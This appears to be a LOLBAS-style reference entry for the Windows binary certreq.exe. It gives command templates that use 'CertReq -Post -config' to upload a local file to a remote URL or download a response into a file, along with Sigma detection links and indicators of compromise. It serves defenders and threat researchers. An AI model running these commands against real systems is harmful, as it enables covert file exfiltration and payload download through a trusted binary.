Used for requesting and managing certificates Located at: C:\Windows\System32\certreq.exe; C:\Windows\SysWOW64\certreq.exe.
certreqcertreqSandbox: execFile · Timeout: 30s
network.transfer.download network.transfer.upload Outputs
process.output Command execution output
network_traffic Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | medium |
| Disk I/O | low |
Send the specified file (penultimate argument) to the specified URL via HTTP POST and save the response to the specified txt file (last argument). (Download file from Internet)
CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE} {PATH:.txt}Send the specified file (last argument) to the specified URL via HTTP POST and show response in terminal. (Upload)
CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE}| Type | Rule / Indicator |
|---|---|
| sigma | https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_susp_certreq_download.yml |
| ioc | certreq creates new files |
| ioc | certreq makes POST requests |
certreq is a Windows LOLBin. Used for requesting and managing certificates Located at: C:\Windows\System32\certreq.exe; C:\Windows\SysWOW64\certreq.exe.